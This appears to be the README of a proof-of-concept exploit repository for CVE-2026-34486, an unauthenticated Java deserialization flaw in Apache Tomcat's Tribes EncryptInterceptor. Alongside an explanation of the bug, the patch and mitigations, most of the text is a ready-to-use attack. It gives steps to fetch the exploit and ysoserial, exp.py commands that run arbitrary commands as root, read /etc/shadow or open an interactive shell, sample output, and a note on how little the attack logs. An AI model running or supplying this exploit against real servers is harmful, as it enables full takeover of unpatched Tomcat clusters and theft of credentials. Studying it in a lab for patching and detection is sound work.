Apache Tomcat Tribes cluster communication module fails to discard messages when
EncryptInterceptordecryption fails, allowing unauthenticated attackers to trigger Remote Code Execution via Java deserialization on port 4000.
| Field | Info |
|---|---|
| CVE ID | CVE-2026-34486 |
| CVSS Score | 7.5 (High) |
| Component | Apache Tomcat Tribes EncryptInterceptor |
| Affected Versions | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Fixed Versions | 9.0.117 / 10.1.54 / 11.0.21 |
| Vulnerability Type | Unauthenticated Remote Code Execution via Deserialization |
| Attack Vector | Network / No Authentication / Low Complexity |
| Attack Port | TCP 4000 (Tribes NioReceiver) |
Apache Tomcat's clustering feature uses the Tribes framework to synchronize session data between cluster nodes, listening on TCP port 4000 by default.
When EncryptInterceptor (AES/CBC) is enabled, the following logic flaw exists:
// EncryptInterceptor.java — vulnerable version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process decrypted message...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // only logs the error
}
super.messageReceived(msg); // ← BUG: raw bytes forwarded even after decryption failure
}The catch block only logs the error. Since super.messageReceived(msg) is outside the try-catch, the raw unencrypted bytes are forwarded to XByteBuffer.deserialize() → ObjectInputStream.readObject().
An attacker can send a crafted deserialization payload to trigger RCE without any authentication.
Attacker ──TCP:4000──► NioReceiver (no auth)
│
EncryptInterceptor.messageReceived()
try { AES/CBC decrypt → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← only log trace
super.messageReceived(msg) ← BUG: raw bytes pass through
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← deserialization triggered
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE as root 🔴
The fix moves super.messageReceived(msg) inside the try block, so any decryption failure causes the message to be silently dropped (fail-closed).
// EncryptInterceptor.java — patched version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process...
super.messageReceived(msg); // ← FIXED: only reached if decryption succeeds
} catch (Exception e) {
log.error("Failed to decrypt message", e); // message is discarded
}
}- Python 3.6+
- Java 11+ (
javaandjavacin PATH) - Docker (for lab deployment)
ysoserial-all.jarapache-tomcat-9.0.116(for Tribes library)
docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verify
curl http://localhost:8080# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwnedpython3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"python3 exp.py -t 127.0.0.1 -p 4000 --shell
# rce@127.0.0.1$ id
# rce@127.0.0.1$ hostname
# rce@127.0.0.1$ exitpython3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib-t, --target Target IP (default: 127.0.0.1)
-p, --port Tribes port (default: 4000)
--http-port HTTP port for output retrieval (default: 8080)
-c, --command Execute command directly (no shell features)
--rce Execute command and retrieve output via HTTP
--shell Interactive shell mode
-g, --gadget Gadget chain (default: CommonsCollections6)
--ysoserial Path to ysoserial jar
--tomcat-lib Path to Tomcat lib directory
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Target : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
The only log trace left by the attack:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
No readObject exception is logged — the command executes silently.
| Action | Priority |
|---|---|
| Upgrade to Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Critical |
| Restrict port 4000 to trusted cluster IPs only | High |
Monitor logs for repeated Failed to decrypt message |
Medium |
| Disable Tribes clustering if not needed | High |
- Apache Tomcat Security Advisories
- Apache Tribes Documentation
- ysoserial — frohoff
- Java Deserialization Cheatsheet
This project is intended for authorized security research, penetration testing, and educational purposes only. Do not use this tool against systems you do not own or have explicit permission to test. The author assumes no liability for any misuse or damage caused by this tool.
MIT License © 2026 404-src